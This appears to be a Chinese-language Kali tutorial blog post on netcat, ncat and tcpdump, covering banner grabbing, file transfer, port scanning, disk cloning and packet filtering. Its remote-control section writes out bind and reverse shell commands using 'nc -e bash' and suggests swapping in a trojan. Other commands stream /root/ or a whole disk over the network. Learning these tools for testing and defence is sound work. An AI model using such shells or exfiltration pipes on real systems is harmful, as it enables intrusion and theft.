NETCAT(NC)

网络工具中的瑞士×××,小巧而强大, 
但由于其不加密,所以可能会被嗅探

telnet/获取banner信息

可以连接服务器的端口,然后进行各种操作 
nc [-options] hostname port[s] 
nc -nv 10.1.1.1 110 
nc -nv 10.1.1.1 25 
nc -nv 10.1.1.1 80

-n:不进行域名解析 
-v:详细模式

传输文本信息

可用于远程电子取证,信息收集

监听端口 
nc -lp 端口 
nc -lp 8888 
连接端口 
nc -nv 主机 端口
nc -nv 172.16.10.10 8888

-l: (listen)监听模式 
-p: 端口模式

传输文件/目录

假如我想传输一个文件: file

接收方监听端口并输出文件: 
nc -lp 端口 > 文件 
nc -lp 8888 > dying.mp4 
发送方连接并导入文件: 
nc -nv 主机 端口 < 文件 [-q] [秒数] 
nc -nv 172.16.10.10 8888 < dying.mp4 -q 1

-q [秒]:指定命令完成后几秒退出

如果不指定秒数,需要手动ctrl+D结束

或者更传统意义上的文件传输: 
发送方监听端口并导入文件: 
nc -q 1 -lp 端口 < 文件
接收方连接并输出文件: 
nc -nv 主机 端口 > 文件

那么我想传送一个目录呢?nc默认是不支持目录的直接传递的。但我们可以换一个思想,将目录打包成文件传递过去,并在输出的时候直接解压不就很完美了吗。

发送方: 
tar czvf - 目录 | nc -lp 端口 [-q] [秒数] 
tar czvf - /root/ | nc -lp 8888 -q 1 
接收方: 
nc -nv 主机 端口 | tar xzvf - 
nc -nv 172.16.10.10 8888 | tar xzvf -

加密传输文件

根据上面的各种操作,想必你差不多已经了解了nc的各种用法并且也猜到了加密传递的用法。

但我不推荐这么使用,因为很复杂,后面会介绍更方便的工具

先安装mcrypt,因为Kali默认不集成这个工具 
apt-get install mcrypt -y 
接收方: 
nc -lp 8888 | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > 1.mp4 
发送方: 
mcrypt --flush -Fbq -a rijndael-256 -m ecb < a.mp4 | nc -nv 172.16.10.10 8888 -q 1

远程控制

正向布属: 
服务器监听: 
nc -lp 8888 -e bash 
-e:exec(执行) 
客户端连接: 
nc -nv 172.16.10.10 8888

反向布属: 
考虑到存在于DMZ区域的主机可能无法直接访问外部网络 
DMZ区域主机: 
nc -lp 8888 
客户端: 
nc -nv 172.16.10.10 8888 -e bash

bash换成文件或木马就可以远程执行了 
Windows用户可换成CMD

流媒体服务器

服务器: 
cat file.mp4 | nc -lp 8888 
客户端: 
nc -nv 172.16.10.10 8888 | mplayer -vo x11 cache 3000 -

端口扫描

和连接差不多的使用,加个-z参数就行了 
nc -nvz 主机 端口/批量端口 
nc -nvz 172.16.10.10 1-2000 
默认扫描tcp端口,你可以加上-u参数扫描udp端口 
nc -nvzu 主机 端口/批量端口

远程克隆硬盘

利用dd命令进行块级别的克隆硬盘 
接收方: 
nc -lp 端口 | dd of=/dev/sdb 
发送方: 
dd if=/dev/sda | nc -nv 主机 端口

NCAT

因为nc不包含身份验证和加密能力,所以在公网上使用会很不安全 
而ncat就集成了这些功能,其包含在nmap工具中 
服务器端: 
ncat -e bash --allow 主机 -nvl 端口 --ssl 
只允许[ip]客户端登录,并采用ssl加密通道,ncat的参数和nc一模一样 
客户端: 
ncat -nv 主机 端口 --ssl

TCPDUMP

通常Linux不安装图形化界面,所以wireshark的使用我们以后再讲, 
这里先说内置的抓包命令tcpdump

抓包

监听网卡 
tcpdump -i eth0 -s 0 -w file.pcap 
监听TCP/UDP端口 
tcpdump -i eth0 tcp port 22 
读取保存的包文件 
tcpdump -A/Xr file.pcap

-i 指定网卡 
-s 指定抓取数据大小,0为不限制 
-w 不显示过程并将数据写入文件 
-r 读取包文件 
-A 以ACSII码显示 
-X 以十六进制形式显示

筛选

通常搭配awk使用

打印第三列数据并去除重复 
tcpdump [-n] -r 文件 | awk '{print $3}' | sort -u 
筛选来源地址 
tcpdump [-n] src host 主机 -r 文件] 
筛选目的地址 
tcpdump [-n] dst host 主机 -r 文件 
筛选端口 
tcpdump [-n] port 端口 -r 文件

-n 不把IP地址解析成域名

高级筛选

tcpdump还可以针对TCP报文的标签位进行筛选,

Kali渗透(—):基本工具_Kali

一行TCP报文有32位/4个字节的大小, 
标签位在第14个字节上, 
但因为计数是从0开始,所以写的时候就是第13而不是14了

Kali渗透(—):基本工具_Kali_02

如果你想筛选确认位和推送位为1的情况,将其转换成十进制,也就是24

tcpdump -A -n 'tcp[13] = 24' -r 文件

有的教程显示TCP报文是6个标签位,这不会造成影响

Anzeme

2017/10/26